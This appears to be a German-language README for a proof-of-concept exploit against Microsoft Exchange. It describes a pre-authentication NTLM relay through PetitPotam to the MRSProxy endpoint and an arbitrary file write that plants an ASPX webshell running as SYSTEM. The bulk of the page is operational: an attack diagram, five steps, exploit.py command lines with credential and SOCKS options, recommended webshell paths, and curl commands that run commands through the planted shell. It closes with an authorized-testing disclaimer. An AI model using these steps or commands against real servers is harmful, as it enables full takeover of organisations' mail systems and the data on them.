
Proof-of-Concept-Exploit für CVE-2026-62911: Pre-Auth-RCE auf Microsoft Exchange über NTLM-Relay an MRSProxy, mit dem eine ASPX-Webshell zur Ausführung von SYSTEM-Befehlen geschrieben wird.
Pre-Auth-RCE auf Microsoft Exchange Server. Keine Anmeldedaten erforderlich.
Orange Tsai (DEVCORE) nutzte dies auf der Pwn2Own Berlin 2026 als Teil einer 3-Bug-Kette. 200.000 $ Preisgeld, vollständige SYSTEM-Übernahme.
Exchange stellt MailboxReplicationProxyService (MRSProxy) über zwei Pfade bereit. Einer davon sitzt auf HTTP.sys ohne Extended Protection:
| Path | Hosted by | Extended Protection |
|---|
/EWS/MRSProxy.svc | IIS | Yes. Safe. |
/Microsoft.Exchange.MailboxReplicationService.ProxyService | HTTP.sys | No. Relay target. |
Der HTTP.sys-Endpunkt akzeptiert Negotiate-Authentifizierung, prüft aber nie die Kanalbindungen. Du leitest einen Hash des Maschinenkontos an ihn weiter, und Exchange behandelt dich als diese Maschine. Maschinenkonten besitzen standardmäßig ms-Exch-EPI-Token-Serialization, daher gewährt der WCF-Dienst vollen Zugriff.
Sobald du drinnen bist, nimmt IMailbox_Config6() einen filePath-Parameter entgegen. PstDestinationMailbox.ConfigPst() schreibt jeden beliebigen Pfad, den du angibst. Keine Prüfung der Dateierweiterung. Richte ihn auf ein IIS-Verzeichnis, rufe IMailbox_Connect() auf, und eine Datei landet auf der Festplatte. Mach aus dieser Datei eine ASPX-Webshell. Fertig.
<!-- MSExchangeMailboxReplication.exe.config -->
<binding name="MrsProxyHttpsBinding" receiveTimeout="00:22:00">
<httpsTransport authenticationScheme="Negotiate"
maxReceivedMessageSize="100000000" />
<!-- no extendedProtectionPolicy — that's the bug -->
</binding>
[ServiceContract(SessionMode = SessionMode.Required)]
interface IMailboxReplicationProxyService
{
void ExchangeVersionInformation(
VersionInformation clientVersion,
out VersionInformation serverVersion);
long IMailbox_Config6(
Guid reservationId, Guid primaryMailboxGuid, Guid physicalMailboxGuid,
string filePath, // attacker-controlled, no validation
byte[] partitionHint, Guid mdbGuid, string mdbName,
MailboxType mbxType, int proxyControlFlags, int localMailboxFlags);
void IMailbox_Connect(long mailboxHandle);
// calls PSTSession.Open() — writes file at filePath
}
| Produkt | Verwundbar unter | Behoben | KB |
|---|---|---|---|
| Exchange 2016 CU23 | 15.1.2507.72 | 15.1.2507.72 | KB5121576 |
| Exchange 2019 CU14 | 15.2.1544.43 | 15.2.1544.43 | KB5121575 |
| Exchange 2019 CU15 | 15.2.1748.48 | 15.2.1748.48 | KB5121574 |
| Exchange SE RTM | 15.2.2562.45 | 15.2.2562.45 | KB5121573 |
Exchange 2016 erreichte im Oktober 2025 das Ende seines Lebenszyklus. Der Fix vom August 2026 wird nur über Extended Security Updates (ESU) ausgeliefert. Wenn die Organisation kein ESU gekauft hat, gibt es keinen Patch.
Attacker EX02 (trigger) EX01 (target)
│ │ │
│── PetitPotam (MS-EFSR) ──▶│ │
│ │ │
│◀── NTLM auth (EX02$) ─────│ │
│ │ │
│── relay NTLM ────────────────────────────────────▶│
│ (to MRSProxy HTTP.sys) │
│ │
│── IMailbox_Config6(path=shell.aspx) ─────────────▶│
│── IMailbox_Connect() ────────────────────────────▶│
│ │ file written
│ │
│── GET /aspnet_client/shell.aspx?cmd=whoami ──────▶│
│◀── nt authority\system ────────────────────────────│
Fünf Schritte:
Löse MS-EFSR (EfsRpcOpenFileRaw) auf EX02 aus. Es authentifiziert sich bei dir mit seinem Maschinenkonto. PetitPotam funktioniert ohne Authentifizierung gegen ungepatchtes Exchange.
Dein SMB-Listener fängt die NTLM-Negotiation von EX02$ ab.
Leite sie über HTTPS an MRSProxy von EX01 weiter. Der Endpunkt prüft EPA nicht, daher gelingt das Relay. Maschinenkonten besitzen bereits das Exchange-Serialisierungsrecht, daher ist die Autorisierung erfolgreich.
Sende WCF-Aufrufe: IMailbox_Config6 mit einem Pfad wie C:\inetpub\wwwroot\aspnet_client\shell.aspx, dann IMailbox_Connect. Exchange schreibt die Datei.
Rufe die Webshell auf. Du bist SYSTEM.
Installiere die Abhängigkeiten:
pip install impacket pysocks
Prüfe, ob MRSProxy exponiert ist:
python3 exploit.py --check-only \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100
Du solltest Microsoft-HTTPAPI/2.0 mit Negotiate in der 401-Antwort sehen. Das bestätigt, dass der HTTP.sys-Endpunkt aktiv ist und EPA fehlt.
Führe den Exploit aus:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100
Falls PetitPotam auf deinem Ziel eine Authentifizierung benötigt:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
-u jsmith -p 'P@ssw0rd!' -d CONTOSO.COM
Über einen SOCKS-Tunnel:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
--socks 127.0.0.1 --socks-port 10800
Wähle einen anderen Speicherort:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
--webshell-path 'C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\x.aspx' \
--webshell-url '/owa/auth/x.aspx'
Überprüfe, ob die Shell angekommen ist:
python3 exploit.py --verify-only \
-t 192.168.1.10 \
--webshell-url '/aspnet_client/system_web/shell.aspx'
Nutze sie:
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=whoami+/all"
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=ipconfig+/all"
| Disk path | URL | Why |
|---|---|---|
C:\inetpub\wwwroot\aspnet_client\system_web\shell.aspx | /aspnet_client/system_web/shell.aspx | Standardverzeichnis für IIS-Client-Skripte. Normalerweise beschreibbar, liefert ASPX aus. |
C:\inetpub\wwwroot\aspnet_client\shell.aspx | /aspnet_client/shell.aspx | Gleich, aber kürzer. |
...\V15\FrontEnd\HttpProxy\owa\auth\shell.aspx | /owa/auth/shell.aspx | OWA-Auth-Ordner. |
...\V15\FrontEnd\HttpProxy\ecp\auth\shell.aspx | /ecp/auth/shell.aspx | ECP-Auth-Ordner. |
Nur für autorisierte Tests. Hol dir eine schriftliche Genehmigung, bevor du dies gegen irgendetwas ausführst.